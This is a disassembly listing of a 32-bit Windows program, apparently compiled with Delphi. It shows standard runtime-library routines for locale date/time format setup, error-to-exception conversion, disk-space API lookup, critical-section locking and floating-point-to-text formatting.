		mov	ds:byte_41E4EE,	al
		mov	cl, 2Eh
		mov	edx, 0Eh
		mov	eax, ebx
		call	sub_408D38
		mov	ds:byte_41E4EF,	al
		lea	eax, [ebp+var_1C]
		push	eax
		mov	ecx, offset dword_40A300
		mov	edx, 19h
		mov	eax, ebx
		call	sub_408CEC
		mov	eax, [ebp+var_1C]
		xor	edx, edx
		call	sub_407058
		mov	ds:byte_41E4F0,	al
		mov	cl, 2Fh
		mov	edx, 1Dh
		mov	eax, ebx
		call	sub_408D38
		mov	ds:byte_41E4F1,	al
		lea	eax, [ebp+var_24]
		push	eax
		mov	ecx, offset dword_40A30C
		mov	edx, 1Fh
		mov	eax, ebx
		call	sub_408CEC
		mov	eax, [ebp+var_24]
		lea	edx, [ebp+var_20]
		call	sub_409024
		mov	edx, [ebp+var_20]
		mov	eax, offset dword_41E4F4
		call	sub_40351C
		lea	eax, [ebp+var_2C]
		push	eax
		mov	ecx, offset dword_40A31C
		mov	edx, 20h
		mov	eax, ebx
		call	sub_408CEC
		mov	eax, [ebp+var_2C]
		lea	edx, [ebp+var_28]
		call	sub_409024
		mov	edx, [ebp+var_28]
		mov	eax, offset dword_41E4F8
		call	sub_40351C
		mov	cl, 3Ah
		mov	edx, 1Eh
		mov	eax, ebx
		call	sub_408D38
		mov	ds:byte_41E4FC,	al
		lea	eax, [ebp+var_30]
		push	eax
		mov	ecx, offset dword_40A334
		mov	edx, 28h
		mov	eax, ebx
		call	sub_408CEC
		mov	edx, [ebp+var_30]
		mov	eax, offset dword_41E500
		call	sub_40351C
		lea	eax, [ebp+var_34]
		push	eax
		mov	ecx, offset dword_40A340
		mov	edx, 29h
		mov	eax, ebx
		call	sub_408CEC
		mov	edx, [ebp+var_34]
		mov	eax, offset dword_41E504
		call	sub_40351C
		lea	eax, [ebp+var_8]
		call	sub_4034C8
		lea	eax, [ebp+var_C]
		call	sub_4034C8
		lea	eax, [ebp+var_38]
		push	eax
		mov	ecx, offset dword_40A300
		mov	edx, 25h
		mov	eax, ebx
		call	sub_408CEC
		mov	eax, [ebp+var_38]
		xor	edx, edx
		call	sub_407058
		test	eax, eax
		jnz	short loc_40A214
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_40A34C
		call	sub_403560
		jmp	short loc_40A221
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A214:				; CODE XREF: sub_40A020+1E3j
		lea	eax, [ebp+var_4]
		mov	edx, offset dword_40A358
		call	sub_403560

loc_40A221:				; CODE XREF: sub_40A020+1F2j
		lea	eax, [ebp+var_3C]
		push	eax
		mov	ecx, offset dword_40A300
		mov	edx, 23h
		mov	eax, ebx
		call	sub_408CEC
		mov	eax, [ebp+var_3C]
		xor	edx, edx
		call	sub_407058
		test	eax, eax
		jnz	short loc_40A283
		lea	eax, [ebp+var_40]
		push	eax
		mov	ecx, offset dword_40A300
		mov	edx, 1005h
		mov	eax, ebx
		call	sub_408CEC
		mov	eax, [ebp+var_40]
		xor	edx, edx
		call	sub_407058
		test	eax, eax
		jnz	short loc_40A276
		lea	eax, [ebp+var_C]
		mov	edx, offset dword_40A364
		call	sub_403560
		jmp	short loc_40A283
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A276:				; CODE XREF: sub_40A020+245j
		lea	eax, [ebp+var_8]
		mov	edx, offset dword_40A374
		call	sub_403560

loc_40A283:				; CODE XREF: sub_40A020+222j
					; sub_40A020+254j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_40A384
		push	[ebp+var_C]
		mov	eax, offset dword_41E508
		mov	edx, 4
		call	sub_4037E4
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	offset dword_40A390
		push	[ebp+var_C]
		mov	eax, offset dword_41E50C
		mov	edx, 4
		call	sub_4037E4
		mov	cl, 2Ch
		mov	edx, 0Ch
		mov	eax, ebx
		call	sub_408D38
		mov	ds:byte_41E5EC,	al
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40A2F2

loc_40A2DD:				; CODE XREF: CODE:0040A2F0j
		lea	eax, [ebp+var_40]
		mov	edx, 10h
		call	sub_4034EC
		retn
sub_40A020	endp ; sp = -34h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A2EB:				; DATA XREF: sub_40A020+13o
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40A2DD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A2F2:				; DATA XREF: sub_40A020+2B8o
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		dd 0FFFFFFFFh, 1
dword_40A300	dd 30h,	0FFFFFFFFh, 6	; DATA XREF: sub_40A020+60o
					; sub_40A020+84o ...
dword_40A30C	dd 2F642F6Dh, 7979h, 0FFFFFFFFh, 0Ch ; DATA XREF: sub_40A020+105o
dword_40A31C	dd 6D6D6D6Dh, 202C6420h, 79797979h, 0, 0FFFFFFFFh, 2
					; DATA XREF: sub_40A020+132o
dword_40A334	dd 6D61h, 0FFFFFFFFh, 2	; DATA XREF: sub_40A020+172o
dword_40A340	dd 6D70h, 0FFFFFFFFh, 1	; DATA XREF: sub_40A020+194o
dword_40A34C	dd 68h,	0FFFFFFFFh, 2	; DATA XREF: sub_40A020+1E8o
dword_40A358	dd 6868h, 0FFFFFFFFh, 5	; DATA XREF: sub_40A020+1F7o
dword_40A364	dd 504D4120h, 4Dh, 0FFFFFFFFh, 5 ; DATA	XREF: sub_40A020+24Ao
dword_40A374	dd 4D504D41h, 20h, 0FFFFFFFFh, 3 ; DATA	XREF: sub_40A020+259o
dword_40A384	dd 6D6D3Ah, 0FFFFFFFFh,	6 ; DATA XREF: sub_40A020+269o
dword_40A390	dd 3A6D6D3Ah, 7373h	; DATA XREF: sub_40A020+286o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40A398	proc near		; CODE XREF: sub_40A430+7p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= byte ptr -4

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		push	ebx
		xor	eax, eax
		mov	[ebp+var_14], eax
		xor	eax, eax
		push	ebp
		push	offset loc_40A422
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		call	j_GetLastError_0
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40A3F2
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], 0
		lea	edx, [ebp+var_14]
		mov	eax, ebx
		call	sub_408CA0
		mov	eax, [ebp+var_14]
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], 0Bh
		lea	eax, [ebp+var_10]
		push	eax
		push	1
		mov	ecx, ds:off_41DAE8
		mov	dl, 1
		mov	eax, ds:off_406B34
		call	sub_409548
		jmp	short loc_40A404
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A3F2:				; CODE XREF: sub_40A398+23j
		mov	ecx, ds:off_41DB40
		mov	dl, 1
		mov	eax, ds:off_406B34
		call	sub_40950C

loc_40A404:				; CODE XREF: sub_40A398+58j
		mov	[eax+0Ch], ebx
		call	sub_402F98
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_40A429

loc_40A419:				; CODE XREF: CODE:0040A427j
		lea	eax, [ebp+var_14]
		call	sub_4034C8
		retn
sub_40A398	endp ; sp = -20h

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A422:				; DATA XREF: sub_40A398+Fo
		jmp	loc_402F60
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		jmp	short loc_40A419
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A429:				; DATA XREF: sub_40A398+7Co
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A430	proc near		; CODE XREF: sub_40D920+16p
		push	ebx
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_40A43C
		call	sub_40A398

loc_40A43C:				; CODE XREF: sub_40A430+5j
		mov	eax, ebx
		pop	ebx
		retn
sub_40A430	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A440	proc near		; CODE XREF: sub_40B194+27p
		push	ebx
		mov	ebx, offset unk_41C2E0
		jmp	short loc_40A458
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A448:				; CODE XREF: sub_40A440+1Bj
		mov	eax, [ebx]
		mov	edx, [eax]
		mov	[ebx], edx
		mov	edx, 8
		call	sub_4025B0

loc_40A458:				; CODE XREF: sub_40A440+6j
		cmp	dword ptr [ebx], 0
		jnz	short loc_40A448
		pop	ebx
		retn
sub_40A440	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A460	proc near		; CODE XREF: sub_40B2D4+55p
		push	ebx
		push	offset dword_40A498
		call	j_GetModuleHandleA_1
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_40A481
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	ebx
		call	j_GetProcAddress_0
		mov	ds:dword_41C128, eax

loc_40A481:				; CODE XREF: sub_40A460+Fj
		cmp	ds:dword_41C128, 0
		jnz	short loc_40A494
		mov	eax, offset sub_40745C
		mov	ds:dword_41C128, eax

loc_40A494:				; CODE XREF: sub_40A460+28j
		pop	ebx
		retn
sub_40A460	endp ; sp = -0Ch

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_40A498	dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 ;	DATA XREF: sub_40A460+1o
aGetdiskfreespa	db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40A460+11o

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A4BC	proc near		; CODE XREF: CODE:0040E4ACp
		push	ebx
		push	esi
		test	dl, dl
		jz	short loc_40A4CA
		add	esp, 0FFFFFFF0h
		call	sub_402CDC

loc_40A4CA:				; CODE XREF: sub_40A4BC+4j
		mov	ebx, edx
		mov	esi, eax
		xor	edx, edx
		mov	eax, esi
		call	sub_402BAC
		lea	eax, [esi+4]
		push	eax
		call	j_InitializeCriticalSection_0
		push	0
		push	0FFFFFFFFh
		push	0FFFFFFFFh
		push	0
		call	j_CreateEventA
		mov	[esi+1Ch], eax
		push	4
		lea	eax, [esi+28h]
		mov	ecx, 1
		mov	edx, ds:off_406BF8
		call	sub_4045A0
		add	esp, 4
		mov	eax, esi
		test	bl, bl
		jz	short loc_40A51D
		call	sub_402D34
		pop	large dword ptr	fs:0
		add	esp, 0Ch

loc_40A51D:				; CODE XREF: sub_40A4BC+50j
		mov	eax, esi
		pop	esi
		pop	ebx
		retn
sub_40A4BC	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A524	proc near		; DATA XREF: CODE:00406C64o
		push	ebx
		push	esi
		call	sub_402D3C
		mov	ebx, edx
		mov	esi, eax
		mov	eax, esi
		call	sub_40A5A0
		mov	edx, ebx
		and	dl, 0FCh
		mov	eax, esi
		call	sub_402BCC
		mov	eax, [esi+1Ch]
		push	eax
		call	j_CloseHandle_0
		lea	eax, [esi+4]
		push	eax
		call	j_DeleteCriticalSection_0
		test	bl, bl
		jle	short loc_40A55F
		mov	eax, esi
		call	sub_402D2C

loc_40A55F:				; CODE XREF: sub_40A524+32j
		pop	esi
		pop	ebx
		retn
sub_40A524	endp ; sp = -8

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A564	proc near		; CODE XREF: sub_40A5A0+1Cp
		push	ebx
		push	esi
		mov	esi, eax
		xor	eax, eax
		cmp	dword ptr [esi+2Ch], 0
		jz	short loc_40A59A
		xor	ebx, ebx
		mov	eax, [esi+28h]
		call	sub_4043EC
		mov	edx, eax
		jmp	short loc_40A57F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A57E:				; CODE XREF: sub_40A564+27j
					; sub_40A564+2Fj
		inc	ebx

loc_40A57F:				; CODE XREF: sub_40A564+18j
		cmp	edx, ebx
		jle	short loc_40A595
		mov	eax, [esi+28h]
		mov	eax, [eax+ebx*8]
		test	eax, eax
		jz	short loc_40A57E
		mov	ecx, [esi+28h]
		cmp	eax, [esi+2Ch]
		jz	short loc_40A57E

loc_40A595:				; CODE XREF: sub_40A564+1Dj
		cmp	edx, ebx
		setle	al

loc_40A59A:				; CODE XREF: sub_40A564+Aj
		pop	esi
		pop	ebx
		retn
sub_40A564	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A5A0	proc near		; CODE XREF: sub_40A524+Dp
					; sub_40E3D0+2Cp
		push	ebx
		mov	ebx, eax
		lea	eax, [ebx+4]
		push	eax
		call	j_EnterCriticalSection_0
		cmp	byte ptr [ebx+34h], 0
		jnz	short loc_40A5E4
		call	j_GetCurrentThreadId_0
		mov	[ebx+2Ch], eax
		mov	eax, ebx
		call	sub_40A564
		test	al, al
		jnz	short loc_40A5D0
		push	0FFFFFFFFh
		mov	eax, [ebx+1Ch]
		push	eax
		call	j_WaitForSingleObject

loc_40A5D0:				; CODE XREF: sub_40A5A0+23j
		mov	eax, [ebx+20h]
		mov	[ebx+24h], eax
		xor	eax, eax
		mov	[ebx+20h], eax
		xor	eax, eax
		mov	[ebx+2Ch], eax
		mov	byte ptr [ebx+34h], 1

loc_40A5E4:				; CODE XREF: sub_40A5A0+10j
		inc	dword ptr [ebx+20h]
		pop	ebx
		retn
sub_40A5A0	endp ; sp = -4

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A5EC	proc near		; CODE XREF: sub_40B194+22p
		mov	edx, [eax]
		xor	ecx, ecx
		mov	[eax], ecx
		mov	eax, edx
		call	sub_402BDC
		retn
sub_40A5EC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
dword_40A5FC	dd 1Dh			; DATA XREF: sub_40B2D4+1Ao
		dd offset unk_41C2DC
		dd offset off_41DBF4
		dd offset unk_41C2D4
		dd offset off_41DB98
		dd offset unk_41C2CC
		dd offset off_41DAD8
		dd offset unk_41C2C4
		dd offset off_41DC0C
		dd offset unk_41C2BC
		dd offset off_41DC20
		dd offset unk_41C2B4
		dd offset off_41DB3C
		dd offset unk_41C2AC
		dd offset off_41DB88
		dd offset unk_41C2A4
		dd offset off_41DAB8
		dd offset unk_41C29C
		dd offset off_41DBA4
		dd offset unk_41C294
		dd offset off_41DBBC
		dd offset unk_41C28C
		dd offset off_41DB68
		dd offset unk_41C284
		dd offset off_41DB6C
		dd offset unk_41C27C
		dd offset off_41DC5C
		dd offset unk_41C274
		dd offset off_41DC50
		dd offset unk_41C26C
		dd offset off_41DC7C
		dd offset unk_41C264
		dd offset off_41DBE4
		dd offset unk_41C25C
		dd offset off_41DBD4
		dd offset unk_41C254
		dd offset off_41DC80
		dd offset unk_41C24C
		dd offset off_41DC70
		dd offset unk_41C244
		dd offset off_41DB7C
		dd offset unk_41C23C
		dd offset off_41DC60
		dd offset unk_41C234
		dd offset off_41DC64
		dd offset unk_41C22C
		dd offset off_41DB18
		dd offset unk_41C224
		dd offset off_41DAF4
		dd offset unk_41C21C
		dd offset off_41DBD0
		dd offset unk_41C214
		dd offset off_41DC08
		dd offset unk_41C20C
		dd offset off_41DABC
		dd offset unk_41C204
		dd offset off_41DC58
		dd offset dword_41C1FC
		dd offset off_41DB78
dword_40A6E8	dd 28h			; DATA XREF: sub_40B2D4+24o
		dd offset off_41C1F4
		dd offset off_41DC48
		align 8
		dd offset off_41C1F0
		dd offset off_41DADC
		dd 0
		dd offset off_41C1EC
		dd offset off_41DC00
		align 8
		dd offset off_41C1E8
		dd offset off_41DAC8
		dd 0
		dd offset off_41C1E4
		dd offset off_41DB00
		align 8
		dd offset off_41C1E0
		dd offset off_41DAF8
		dd 0
		dd offset off_41C1DC
		dd offset off_41DAE4
		align 8
		dd offset off_41C1D8
		dd offset off_41DB74
		dd 0
		dd offset off_41C1D4
		dd offset off_41DBE0
		align 8
		dd offset off_41C1D0
		dd offset off_41DAFC
		dd 0
		dd offset off_41C1CC
		dd offset off_41DBC8
		align 8
		dd offset off_41C1C8
		dd offset off_41DC1C
		dd 0
		dd offset off_41C1C4
		dd offset off_41DC14
		align 8
		dd offset off_41C1C0
		dd offset off_41DBEC
		dd 0
		dd offset off_41C1BC
		dd offset off_41DB64
		align 8
		dd offset off_41C1B8
		dd offset off_41DB34
		dd 0
		dd offset off_41C1B4
		dd offset off_41DAC4
		align 8
		dd offset off_41C1B0
		dd offset off_41DC10
		dd 0
		dd offset off_41C1AC
		dd offset off_41DBB0
		align 8
		dd offset off_41C1A8
		dd offset off_41DB2C
		dd 0
		dd offset off_41C1A4
		dd offset off_41DBA0
		align 8
		dd offset off_41C1A0
		dd offset off_41DBD8
		dd 0
		dd offset off_41C19C
		dd offset off_41DBAC
		align 8
		dd offset off_41C198
		dd offset off_41DB50
		dd 0
		dd offset off_41C194
		dd offset off_41DAC0
		dd 0
		dd offset off_41C190
		dd offset off_41DB8C
		dd 0
		dd offset off_41C18C
		dd offset off_41DC68
		align 8
		dd offset off_41C188
		dd offset off_41DC44
		dd 0
		dd offset off_41C184
		dd offset off_41DBC4
		align 8
		dd offset off_41C180
		dd offset off_41DB14
		dd 0
		dd offset off_41C17C
		dd offset off_41DACC
		align 8
		dd offset off_41C178
		dd offset off_41DC3C
		dd 0
		dd offset off_41C174
		dd offset off_41DC8C
		align 8
		dd offset off_41C170
		dd offset off_41DAEC
		dd 0
		dd offset off_41C16C
		dd offset off_41DAB4
		align 8
		dd offset off_41C168
		dd offset off_41DC4C
		dd 0
		dd offset off_41C164
		dd offset off_41DBC0
		align 8
		dd offset off_41C160
		dd offset off_41DC74
		dd 0
		dd offset off_41C150
		dd offset off_41DB80
		align 8
		dd offset off_41C14C
		dd offset off_41DB1C
flt_40A8C8	dd 0.0			; DATA XREF: sub_40AFBF+5Dr
dword_40A8CC	dd 0Ah			; DATA XREF: sub_40AA4C+20r
					; sub_40AEB8+70r ...
		dd 64h,	3E8h, 2710h
tbyte_40A8DC	dt 1.0e18		; DATA XREF: sub_40AEB8+5Br
word_40A8E6	dw 133Fh		; DATA XREF: CODE:0040B0A6r
dword_40A8E8	dd 4E464E49h		; DATA XREF: sub_40A8EE+60r
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		inc	ecx
		dec	esi

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_40A8EE	proc near		; CODE XREF: CODE:00407AD2p
					; CODE:0040AC59p

var_1C		= word ptr -1Ch
var_19		= byte ptr -19h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_4], eax
		mov	eax, 13h
		cmp	cl, 0
		jnz	short loc_40A91B
		mov	eax, [ebp+arg_4]
		cmp	eax, 2
		jge	short loc_40A911
		mov	eax, 2

loc_40A911:				; CODE XREF: sub_40A8EE+1Cj
		cmp	eax, 12h
		jle	short loc_40A91B
		mov	eax, 12h

loc_40A91B:				; CODE XREF: sub_40A8EE+14j
					; sub_40A8EE+26j
		mov	[ebp+arg_4], eax
		push	eax
		mov	eax, 270Fh
		cmp	[ebp+arg_8], 2
		jb	short loc_40A92D
		mov	eax, [ebp+arg_0]

loc_40A92D:				; CODE XREF: sub_40A8EE+3Aj
		push	eax
		lea	eax, [ebp+var_1C]
		call	sub_40AE91
		mov	edi, [ebp+var_4]
		movzx	eax, [ebp+var_1C]
		sub	eax, 7FFFh
		cmp	eax, 2
		jnb	short loc_40A95E
		mov	ecx, eax
		call	sub_40A9AC
		lea	esi, dword_40A8E8[ecx+ecx*2]
		mov	ecx, 3
		repe movsb
		jmp	short loc_40A981
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A95E:				; CODE XREF: sub_40A8EE+57j
		lea	esi, [ebp+var_19]
		movzx	ebx, [ebp+arg_8]
		cmp	bl, 1
		jz	short loc_40A97A
		cmp	bl, 4
		ja	short loc_40A978
		movsx	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_4]
		jle	short loc_40A97A

loc_40A978:				; CODE XREF: sub_40A8EE+7Fj
		mov	bl, 0

loc_40A97A:				; CODE XREF: sub_40A8EE+7Aj
					; sub_40A8EE+88j
		call	ds:off_40A98F[ebx*4]

loc_40A981:				; CODE XREF: sub_40A8EE+6Ej
		mov	eax, edi
		sub	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_40A8EE	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
off_40A98F	dd offset loc_40A9B6	; DATA XREF: sub_40A8EE+8Cr
		dd offset loc_40AA18
		dd offset loc_40AA8B
		dd offset loc_40AA8B
		dd offset loc_40AAF1

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A9A3	proc near		; CODE XREF: CODE:0040AA1Dp
					; CODE:0040AA2Ep ...
		lodsb
		or	al, al
		jnz	short locret_40A9AB
		mov	al, 30h
		dec	esi

locret_40A9AB:				; CODE XREF: sub_40A9A3+3j
		retn
sub_40A9A3	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40A9AC	proc near		; CODE XREF: sub_40A8EE+5Bp
					; CODE:0040A9B6p ...
		cmp	byte ptr [ebp-1Ah], 0
		jz	short locret_40A9B5
		mov	al, 2Dh
		stosb

locret_40A9B5:				; CODE XREF: sub_40A9AC+4j
		retn
sub_40A9AC	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A9B6:				; CODE XREF: sub_40A8EE+8Cj
					; DATA XREF: CODE:0040A98Fo
		call	sub_40A9AC
		movsx	ecx, word ptr [ebp-1Ch]
		xor	edx, edx
		cmp	ecx, [ebp+0Ch]
		jg	short loc_40A9E5
		cmp	ecx, 0FFFFFFFDh
		jl	short loc_40A9E5
		or	ecx, ecx
		jg	short loc_40A9EB
		mov	al, 30h
		stosb
		cmp	byte ptr [esi],	0
		jz	short locret_40AA17
		mov	al, ds:byte_41E4EF
		stosb
		neg	ecx
		mov	al, 30h
		repe stosb
		jmp	short loc_40AA01
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40A9E5:				; CODE XREF: CODE:0040A9C4j
					; CODE:0040A9C9j
		mov	ecx, 1
		inc	edx

loc_40A9EB:				; CODE XREF: CODE:0040A9CDj
					; CODE:0040A9F1j
		lodsb
		or	al, al
		jz	short loc_40AA09
		stosb
		loop	loc_40A9EB
		lodsb
		or	al, al
		jz	short loc_40AA0D
		mov	ah, al
		mov	al, ds:byte_41E4EF
		stosw

loc_40AA01:				; CODE XREF: CODE:0040A9E3j
					; CODE:0040AA07j
		lodsb
		or	al, al
		jz	short loc_40AA0D
		stosb
		jmp	short loc_40AA01
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AA09:				; CODE XREF: CODE:0040A9EEj
		mov	al, 30h
		repe stosb

loc_40AA0D:				; CODE XREF: CODE:0040A9F6j
					; CODE:0040AA04j
		or	edx, edx
		jz	short locret_40AA17
		xor	eax, eax
		xor	ecx, ecx
		jmp	short loc_40AA42
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

locret_40AA17:				; CODE XREF: CODE:0040A9D5j
					; CODE:0040AA0Fj
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AA18:				; CODE XREF: sub_40A8EE+8Cj
					; DATA XREF: CODE:0040A993o
		call	sub_40A9AC
		call	sub_40A9A3
		mov	ah, ds:byte_41E4EF
		stosw
		mov	ecx, [ebp+0Ch]
		dec	ecx

loc_40AA2E:				; CODE XREF: CODE:0040AA34j
		call	sub_40A9A3
		stosb
		loop	loc_40AA2E
		mov	ah, 2Bh
		mov	ecx, [ebp+8]
		cmp	ecx, 4
		jb	short loc_40AA42
		xor	ecx, ecx

loc_40AA42:				; CODE XREF: CODE:0040AA15j
					; CODE:0040AA3Ej
		mov	al, 45h
		mov	bl, [ebp-19h]
		movsx	edx, word ptr [ebp-1Ch]
		dec	edx

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40AA4C	proc near		; CODE XREF: sub_40AD70+ADp
		stosb
		or	bl, bl
		jnz	short loc_40AA55
		xor	edx, edx
		jmp	short loc_40AA5F
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AA55:				; CODE XREF: sub_40AA4C+3j
		or	edx, edx
		jge	short loc_40AA5F
		mov	al, 2Dh
		neg	edx
		jmp	short loc_40AA65
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AA5F:				; CODE XREF: sub_40AA4C+7j
					; sub_40AA4C+Bj
		or	ah, ah
		jz	short loc_40AA66
		mov	al, ah

loc_40AA65:				; CODE XREF: sub_40AA4C+11j
		stosb

loc_40AA66:				; CODE XREF: sub_40AA4C+15j
		xchg	eax, edx
		push	eax
		mov	ebx, esp

loc_40AA6A:				; CODE XREF: sub_40AA4C+2Fj
					; sub_40AA4C+33j
		xor	edx, edx
		div	ds:dword_40A8CC
		add	dl, 30h
		mov	[ebx], dl
		inc	ebx
		dec	ecx
		or	eax, eax
		jnz	short loc_40AA6A
		or	ecx, ecx
		jg	short loc_40AA6A

loc_40AA81:				; CODE XREF: sub_40AA4C+3Bj
		dec	ebx
		mov	al, [ebx]
		stosb
		cmp	ebx, esp
		jnz	short loc_40AA81
		pop	eax
		retn
sub_40AA4C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AA8B:				; CODE XREF: sub_40A8EE+8Cj
					; DATA XREF: CODE:0040A997o ...
		call	sub_40A9AC

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш


sub_40AA90	proc near		; CODE XREF: CODE:0040AB3Dp
		mov	edx, [ebp+8]
		cmp	edx, 12h
		jb	short loc_40AA9D
		mov	edx, 12h

loc_40AA9D:				; CODE XREF: sub_40AA90+6j
		movsx	ecx, word ptr [ebp-1Ch]
		or	ecx, ecx
		jg	short loc_40AAAA
		mov	al, 30h
		stosb
		jmp	short loc_40AAD2
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AAAA:				; CODE XREF: sub_40AA90+13j
		xor	ebx, ebx
		cmp	byte ptr [ebp+10h], 2
		jz	short loc_40AABC
		mov	eax, ecx
		dec	eax
		mov	bl, 3
		div	bl
		mov	bl, ah
		inc	ebx

loc_40AABC:				; CODE XREF: sub_40AA90+20j
					; sub_40AA90+36j ...
		call	sub_40A9A3
		stosb
		dec	ecx
		jz	short loc_40AAD2
		dec	ebx
		jnz	short loc_40AABC
		mov	al, ds:byte_41E4EE
		stosb
		mov	bl, 3
		jmp	short loc_40AABC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_40AAD2:				; CODE XREF: sub_40AA90+18j
					; sub_40AA90+33j
		or	edx, edx
		jz	short locret_40AAF0
		mov	al, ds:byte_41E4EF
		stosb
		jecxz	short loc_40AAE7
		mov	al, 30h

loc_40AAE0:				; CODE XREF: sub_40AA90+55j
		stosb
		dec	edx
		jz	short locret_40AAF0
		inc	ecx
		jnz	short loc_40AAE0

loc_40AAE7:				; CODE XREF: sub_40AA90+4Cj
					; sub_40AA90+5Ej
